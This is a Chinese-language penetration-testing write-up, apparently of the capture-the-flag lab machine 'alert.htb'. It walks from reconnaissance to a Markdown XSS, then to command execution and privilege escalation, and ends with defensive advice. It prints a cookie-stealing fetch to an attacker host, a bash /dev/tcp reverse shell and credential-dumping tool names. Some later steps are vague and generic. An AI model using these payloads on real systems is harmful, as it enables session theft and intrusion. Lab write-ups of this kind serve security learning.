记一次域渗透从MD文档XSS漏洞到命令执行漏洞获取管理员权限
字数 973 2025-08-29 08:29:41
域渗透实战:从MD文档XSS漏洞到命令执行获取管理员权限
信息收集阶段
1. 端口扫描
使用nmap进行初始端口探测:
nmap -sS -p- <目标IP>
发现开放端口:
- 1227端口
- 22端口(SSH)
- 80端口(HTTP)
2. 子域名枚举
使用ffuf工具进行子域名爆破:
ffuf -w /path/to/wordlist -u https://<目标域名>/ -H "Host: FUZZ.<目标域名>" -fs <过滤大小>
发现子域名:
- statistics.alert.htb (存在HTTP登录页面)
3. 目录遍历
使用feroxbuster进行目录扫描:
feroxbuster -u http://<目标IP> -w /path/to/wordlist
虽然未发现有用信息,但发现了关键文件:
- /link_share.md (MD文档)
边界突破
MD-XSS漏洞利用
- 发现Markdown文件解析存在XSS漏洞
- 构造恶意MD文档内容:
[xss](javascript:alert('XSS'))
-
验证漏洞存在,成功弹框
-
搭建攻击服务器:
python3 -m http.server 80
- 利用发送接口发送恶意MD文档:
- 目标系统存在文件发送功能
- 构造包含XSS payload的MD文档
- 通过发送接口诱使管理员点击
权限提升
1. 获取初始立足点
通过XSS漏洞获取管理员cookie或会话信息:
fetch('http://<攻击者IP>/steal?cookie='+document.cookie)
2. 命令执行漏洞利用
- 发现系统存在未授权的命令执行端点
- 构造特殊请求:
POST /api/execute HTTP/1.1
Host: <目标域名>
Content-Type: application/json
{
"command": "whoami"
}
- 确认命令执行成功后,构造反弹shell:
bash -i >& /dev/tcp/<攻击者IP>/4444 0>&1
3. 权限提升
- 获取系统信息:
uname -a
cat /etc/passwd
- 查找SUID文件:
find / -perm -4000 -type f 2>/dev/null
- 利用配置不当的服务或漏洞进行提权
域渗透
1. 获取域信息
cat /etc/resolv.conf
nslookup <域控制器IP>
2. 转储域凭证
使用工具如:
- Mimikatz
- Secretsdump.py
3. 横向移动
- 使用获取的凭证尝试访问其他系统
- 查找共享文件夹和敏感数据
防御建议
针对MD-XSS漏洞
- 对用户提交的Markdown内容进行严格过滤
- 实现内容安全策略(CSP)
- 禁用Markdown中的javascript协议
针对命令执行漏洞
- 实施严格的输入验证
- 使用白名单机制限制可执行命令
- 最小化系统权限
整体防御
- 定期进行安全审计和渗透测试
- 实施网络分段,限制横向移动
- 启用详细的日志记录和监控
工具清单
- 信息收集:nmap, ffuf, feroxbuster
- 漏洞利用:自定义脚本, netcat
- 权限提升:LinEnum, Linux Exploit Suggester
- 域渗透:Impacket工具套件, BloodHound
通过这套完整的渗透流程,攻击者可以从一个简单的XSS漏洞入手,逐步获取系统权限并控制整个域环境。防御方应重视每一个看似微小的漏洞,因为它们可能成为整个系统沦陷的入口点。